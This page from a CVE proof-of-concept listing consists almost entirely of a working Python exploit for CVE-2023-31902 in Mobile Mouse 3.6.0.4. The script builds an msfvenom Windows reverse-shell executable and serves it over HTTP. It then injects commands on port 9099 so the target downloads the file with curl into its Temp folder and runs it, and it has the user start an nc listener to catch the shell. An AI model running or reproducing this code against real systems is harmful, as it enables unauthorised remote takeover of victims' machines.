5692 Total CVEs
26 Years
GitHub
README.md
README.md not found for CVE-2023-31902. The file may not exist in the repository.
POC / rce.py PY
#!/usr/bin/env python3
"""
CVE-2023-31902 - Mobile Mouse 3.6.0.4 RCE
@Mahdiesta / xl337x
"""
import socket, os, sys, subprocess, threading, http.server, socketserver, shutil
from time import sleep

G="\033[32m"; Y="\033[33m"; R="\033[31m"; B="\033[34m"; W="\033[0m"
def ok(m):   print(f"{G}[+]{W} {m}")
def err(m):  print(f"{R}[-]{W} {m}")
def inf(m):  print(f"{B}[*]{W} {m}")
def warn(m): print(f"{Y}[!]{W} {m}")

def banner():
    print(f"""{G}
  ███╗   ███╗ ██████╗ ██████╗ ██╗██╗     ███████╗    ███╗   ███╗ ██████╗ ██╗   ██╗███████╗███████╗
  ████╗ ████║██╔═══██╗██╔══██╗██║██║     ██╔════╝    ████╗ ████║██╔═══██╗██║   ██║██╔════╝██╔════╝
  ██╔████╔██║██║   ██║██████╔╝██║██║     █████╗      ██╔████╔██║██║   ██║██║   ██║███████╗█████╗
  ██║╚██╔╝██║██║   ██║██╔══██╗██║██║     ██╔══╝      ██║╚██╔╝██║██║   ██║██║   ██║╚════██║██╔══╝
  ██║ ╚═╝ ██║╚██████╔╝██████╔╝██║███████╗███████╗    ██║ ╚═╝ ██║╚██████╔╝╚██████╔╝███████║███████╗
  ╚═╝     ╚═╝ ╚═════╝ ╚═════╝ ╚═╝╚══════╝╚══════╝    ╚═╝     ╚═╝ ╚═════╝  ╚═════╝ ╚══════╝╚══════╝{W}
  {Y}CVE-2023-31902 | Mobile Mouse 3.6.0.4 RCE | @Mahdiesta / xl337x{W}
""")

# ── Input helpers ─────────────────────────────────────────────────────────────
def ask(prompt, default=None):
    if default is not None:
        val = input(f"  {G}{prompt}{W} [{Y}{default}{W}]: ").strip()
        return val if val else str(default)
    while True:
        val = input(f"  {G}{prompt}{W}: ").strip()
        if val: return val
        print(f"  {R}Cannot be empty.{W}")

def ask_yn(prompt, default="y"):
    val = input(f"  {Y}{prompt} [{default.upper()}/{'n' if default=='y' else 'Y'}]{W}: ").strip().lower()
    if not val: return default == "y"
    return val in ("y","yes")

def resolve_lhost(val):
    val = val.strip()
    try:
        socket.inet_aton(val)
        return val, None
    except socket.error:
        pass
    try:
        out = subprocess.check_output(
            ["ip", "-4", "addr", "show", val], stderr=subprocess.DEVNULL
        ).decode()
        for line in out.splitlines():
            line = line.strip()
            if line.startswith("inet "):
                return line.split()[1].split("/")[0], None
    except Exception:
        pass
    return None, f"'{val}' is not a valid IP or interface"

def ask_ip(prompt):
    while True:
        raw = ask(prompt)
        ip, e = resolve_lhost(raw)
        if ip:
            if raw != ip: ok(f"Resolved {raw} → {ip}")
            return ip
        err(e + " — try again")

def ask_port(prompt, default):
    while True:
        val = ask(prompt, default=default)
        try:
            p = int(val)
            if 1 <= p <= 65535: return p
            err("Port must be 1–65535")
        except ValueError:
            err("Enter a number")

# ── Payload helpers ───────────────────────────────────────────────────────────
def generate_payload(lhost, lport, outfile):
    if not shutil.which("msfvenom"):
        err("msfvenom not found")
        return False
    inf(f"Generating → {outfile}  (LHOST={lhost} LPORT={lport}) ...")
    r = subprocess.run(
        ["msfvenom", "-p", "windows/x64/shell_reverse_tcp",
         f"LHOST={lhost}", f"LPORT={lport}",
         "-f", "exe", "-o", outfile],
        stdout=subprocess.DEVNULL, stderr=subprocess.DEVNULL
    )
    if r.returncode == 0 and os.path.isfile(outfile) and os.path.getsize(outfile) > 0:
        ok(f"Payload ready: {outfile}  ({os.path.getsize(outfile)} bytes)")
        return True
    err("msfvenom failed — check msfvenom manually")
    return False

def ensure_payload(payload_path, lhost, lport, payload_name):
    """
    Smart payload check:
    - Missing or empty → auto-generate (ask)
    - Exists → ask if LPORT is correct, offer regenerate if not
    Always returns True if we have a valid payload, False to abort.
    """
    if not os.path.isfile(payload_path) or os.path.getsize(payload_path) == 0:
        warn(f"Payload not found: {payload_path}")
        if ask_yn(f"Auto-generate with msfvenom? (LHOST={lhost} LPORT={lport})"):
            return generate_payload(lhost, lport, payload_path)
        err("Cannot continue without payload")
        return False

    # File exists — ask about LPORT
    size = os.path.getsize(payload_path)
    ok(f"Found existing payload: {payload_path} ({size} bytes)")
    warn(f"Was this payload compiled with LPORT={lport}?")
    correct = ask_yn(f"Yes, LPORT={lport} is correct — use this payload")
    if correct:
        return True
    # Regenerate
    inf("Regenerating payload with correct LPORT...")
    return generate_payload(lhost, lport, payload_path)

# ── Network helpers ───────────────────────────────────────────────────────────
def port_open(host, port, timeout=6, retries=3):
    for _ in range(retries):
        try:
            s = socket.socket()
            s.settimeout(timeout)
            r = s.connect_ex((host, port))
            s.close()
            if r == 0:
                return True
        except Exception:
            pass
        sleep(1)
    return False

def kill_port(port):
    if shutil.which("fuser"):
        subprocess.run(["fuser", "-k", f"{port}/tcp"],
                       stdout=subprocess.DEVNULL, stderr=subprocess.DEVNULL)
        sleep(1)
        return True
    return False

def start_http(serve_dir, port):
    class Q(http.server.SimpleHTTPRequestHandler):
        def __init__(self, *a, **k): super().__init__(*a, directory=serve_dir, **k)
        def log_message(self, *a): pass
    for attempt in range(2):
        try:
            srv = socketserver.TCPServer(("", port), Q)
            srv.allow_reuse_address = True
            threading.Thread(target=srv.serve_forever, daemon=True).start()
            return srv
        except OSError:
            if attempt == 0:
                warn(f"Port {port} busy — killing it automatically...")
                kill_port(port)
            else:
                err(f"Cannot bind port {port}. Run: sudo fuser -k {port}/tcp")
                return None

# ── Exploit core ──────────────────────────────────────────────────────────────
TARGET_PORT = 9099

def exploit(target, lhost, http_port, payload_name):
    CONN = bytearray.fromhex(
        "434F4E4E4543541E1E63686F6B726968616D6D6564691E6950686F6E651E321E321E04"
    )
    RUN = bytearray.fromhex("4b45591e3131341e721e4f505404")

    def connect():
        s = socket.socket()
        s.settimeout(15)
        s.connect((target, TARGET_PORT))
        return s

    def make_cmd(cmd_str):
        h = cmd_str.encode("utf-8").hex()
        return bytearray.fromhex(
            "4B45591E3130301E" + h + "1E04" + "4b45591e2d311e454e5445521e04"
        )

    try:
        inf("Phase 1 — download payload on target...")
        s = connect()
        s.send(CONN); s.recv(54)
        s.send(RUN);  s.recv(54)
        sleep(0.5)
        dl = (f"curl http://{lhost}:{http_port}/{payload_name}"
              f" -o c:\\Windows\\Temp\\{payload_name}")
        inf(f"  {dl}")
        s.send(make_cmd(dl)); s.recv(96)
        s.close()
        inf("Waiting 10s for download...")
        sleep(10)

        inf("Phase 2 — execute payload...")
        s = connect()
        s.send(CONN); s.recv(54)
        s.send(RUN);  s.recv(54)
        sleep(0.5)
        run = f"c:\\Windows\\Temp\\{payload_name}"
        inf(f"  {run}")
        s.send(make_cmd(run)); s.recv(96)
        s.close()
        sleep(3)
        return True

    except Exception as e:
        err(f"Exploit error: {e}")
        try: s.close()
        except: pass
        return False

# ── Main ──────────────────────────────────────────────────────────────────────
def main():
    banner()
    inf("Fill in your engagement details\n")

    # Inputs
    target       = ask_ip("Target IP")
    lhost        = ask_ip("Your IP or interface (tun0 or IP)")
    lport        = ask_port("Your nc listener port (LPORT)", 9099)
    http_port    = ask_port("HTTP delivery port", 8080)
    payload_name = ask("Payload filename", default="shell.exe")
    payload_path = os.path.join(os.getcwd(), payload_name)

    # Config summary
    print(f"""
{B}[*] ─── Config ──────────────────────────────────────{W}
    Target      : {G}{target}:9099{W}  (TCP — fixed)
    LHOST       : {G}{lhost}{W}
    LPORT       : {Y}{lport}{W}   ← must match payload + listener
    HTTP server : {B}:{http_port}{W}
    Payload     : {payload_path}
{B}[*] ──────────────────────────────────────────────────{W}
""")

    inf("Checks...\n")

    # Smart payload check
    if not ensure_payload(payload_path, lhost, lport, payload_name):
        sys.exit(1)

    # Target reachable
    if not port_open(target, TARGET_PORT):
        warn(f"Port {TARGET_PORT} probe failed on {target} (filtered or slow).")
        warn(f"Verify externally: nmap -p {TARGET_PORT} {target}  |  rustscan -a {target}")
        if not ask_yn("Continue anyway?", default="n"):
            sys.exit(1)
    else:
        ok(f"Port {TARGET_PORT} open on {target}")

    # HTTP server
    httpd = start_http(os.getcwd(), http_port)
    if not httpd:
        sys.exit(1)
    ok(f"HTTP server :{http_port} → {os.getcwd()}")

    sleep(1)

    # Listener reminder
    print(f"""
{Y}[!] Start your listener NOW in another terminal:{W}
    {G}rlwrap nc -nlvp {lport}{W}
    or
    {G}penelope -p {lport}{W}
""")
    input(f"  {Y}Press ENTER when listener is ready...{W} ")

    # Fire
    success = exploit(target, lhost, http_port, payload_name)
    httpd.shutdown()

    if success:
        print(f"\n{G}[+] Exploit complete! Check your listener on port {lport}{W}")
        print(f"    Shell from: {G}{target}{W}")
    else:
        print(f"\n{R}[-] Failed. Checklist:{W}")
        print(f"  1. Listener running?  rlwrap nc -nlvp {lport}")
        print(f"  2. Payload LPORT?     msfvenom ... LPORT={lport} -o {payload_name}")
        print(f"  3. Port reachable?    nc -zv {target} {TARGET_PORT}")
        print(f"  4. AV blocking?       try encoded payload")

if __name__ == "__main__":
    try:
        main()
    except KeyboardInterrupt:
        print(f"\n{R}[-]{W} Interrupted")
        sys.exit(0)